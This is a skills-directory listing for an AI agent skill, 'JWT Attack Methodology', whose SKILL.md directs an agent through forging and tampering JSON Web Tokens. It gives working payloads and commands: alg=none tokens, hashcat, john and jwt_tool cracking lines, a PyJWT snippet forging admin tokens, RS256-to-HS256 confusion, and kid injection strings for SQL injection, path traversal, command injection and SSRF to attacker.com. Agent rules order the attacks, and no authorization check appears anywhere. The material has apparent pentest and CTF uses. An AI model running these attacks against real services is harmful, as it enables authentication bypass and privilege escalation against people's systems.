Skip to content
Back to skills

Jwt Attack Methodology

ASecurity

JWT attacks: alg=none, RS to HS, kid/jku, weak HMAC secrets

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongoshellsqlapi

Works with

  • api
  • mcp

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill jwt-attack-methodology --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Jwt Attack Methodology?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Jwt Attack Methodology
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-jwt-attack-methodology/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-jwt-attack-methodology)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: jwt-attack-methodology
description: "JWT attacks: alg=none, RS to HS, kid/jku, weak HMAC secrets"
metadata: 
tags: "jwt,json web token,authentication,token,none-algorithm,weak-secret,bearer,eyJ,jwt_tool,HS256,RS256,kid,jku,algorithm confusion,secret cracking,alg none,claims tampering"
category: "exploit"
mcps: autopen, pentest mcp, context1337
---

# JWT Attack Methodology

## Phase 1: Obtain and decode the JWT
1. Log in to obtain a token (check the Set-Cookie response header and JSON fields in the response body)
2. Confirm the JWT format: three Base64 segments separated by `.` (Header.Payload.Signature)
3. Decode with the jwt_decode tool, or manually with `echo '<part>' | base64 -d`:
   - Header: check the `alg` field (HS256/RS256/none) and the `kid`/`jku`/`x5u` parameters
   - Payload: check claims such as `sub`, `role`, `admin`, `is_admin`, `user_id`, `exp`
   - Record the signing algorithm, expiry time, and the key authorization fields
4. Check whether the token is expired: convert the `exp` field to a Unix timestamp and compare against the current time
5. Compare JWTs from different users to find which fields relate to authorization

## ⛔ Deep-dive references (read once a JWT is found)

- RS256→HS256 algorithm confusion, kid injection (SQL/path traversal/command injection), jku/x5u substitution → [references/jwt-advanced.md](references/jwt-advanced.md)
- Full weak-secret cracking toolchain (hashcat/john/c-jwt-cracker/jwt_tool/Python + weak-key pattern table) → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 2: None Algorithm attack
1. Change `alg` in the header to `none` and delete the Signature part (keep the trailing `.`)
2. Re-Base64-encode the header and payload and concatenate as `header.payload.`
3. Send the request and observe whether the server accepts the unsigned token
4. Try case variations to bypass: `"none"`, `"None"`, `"NONE"`, `"nOnE"`, `"NoNe"`
5. Some libraries only bypass when alg is exactly `"none"`, so test each one
```
original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
attack: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
```

## Phase 3: Weak-secret cracking (HS256/HS384/HS512 only)
1. Manually test common weak secrets: `secret`, `password`, `123456`, `key`, `jwt_secret`, `changeme`, `""` (empty string)
2. Crack offline with hashcat: `hashcat -m 16500 jwt.txt wordlist.txt`
3. Use john: `john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256`
4. Lightweight tool c-jwt-cracker: `./jwtcrack <token>` (pure brute force, good for short keys)
5. All-in-one jwt_tool: `python3 jwt_tool.py <token> -C -d wordlist.txt`
6. Once you know the secret, forge a token:
```python
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))
```
→ **Full cracking toolchain and weak-key pattern table** → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 4: Claims tampering
1. Decode the payload and list all claim fields
2. Modify authorization-related fields: `role:user→admin` | `is_admin:false→true` | `user_id:5→1`
3. Try adding new fields: `"admin":true`, `"groups":["admin"]`
4. Modify `exp` to extend the token's validity (e.g. a year-2099 timestamp)
5. Re-sign with the known secret, replace the original token, and send the request
6. Compare responses to confirm the privilege increased (check the HTTP status code, response content, and reachable endpoints)

## Phase 5: RS256→HS256 algorithm confusion
1. Confirm the server signs with the RS256 (asymmetric) algorithm
2. Obtain the public key: request `/api/jwks`, `/.well-known/jwks.json`, `/oauth/jwks`
3. Change `alg` in the header from `RS256` to `HS256`
4. Sign the token with the RS256 public key used as the HS256 symmetric key
5. Send the tampered token, exploiting the logic flaw where the server HMAC-verifies using the public key
→ Detailed mechanism and scripts → [references/jwt-advanced.md](references/jwt-advanced.md)

## Phase 6: kid parameter injection
1. Check whether the JWT header has a `kid` (Key ID) field
2. SQL injection: `"kid":"1' UNION SELECT 'my-key' -- "` → sign with `my-key`
3. Path traversal: `"kid":"../../dev/null"` → sign using the empty-file content as the key
4. Command injection: `"kid":"key|cat /flag.txt"` → some implementations execute shell commands
5. SSRF: `"kid":"http://attacker.com/key"` → fetch the key from the attacker's server
→ Full payloads → [references/jwt-advanced.md](references/jwt-advanced.md)

## ⛔ Agent behavior rules

### ⛔ NEVER
- NEVER attack before decoding the JWT structure — you must analyze the header/payload first
- NEVER skip the None Algorithm test (the simplest attack vector)
- NEVER start weak-secret cracking without reading the references — the full tools and wordlists are there

### ✅ ALWAYS
- ALWAYS decode and analyze the JWT first: algorithm (RS256/HS256/ES256), claims, expiry
- ALWAYS try in order: None Alg → weak-secret cracking → claims tampering → RS256→HS256 confusion → kid injection
- ALWAYS fetch the public key when you find RS256 (`/api/jwks` `/jwks.json` `/.well-known/jwks.json`)
- ALWAYS read references/jwt-advanced.md for the full payloads and scripts

### 🔧 Tool preferences
1. `python3` — JWT decode/sign/crack (PyJWT library)
2. `http_request` — test the tampered JWT token
3. Reading reference files — load the advanced attack payloads (RS256→HS256 / kid injection)

Files in this skill

  • SKILL.md5.3 KB
  • references/jwt-advanced.md15.5 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.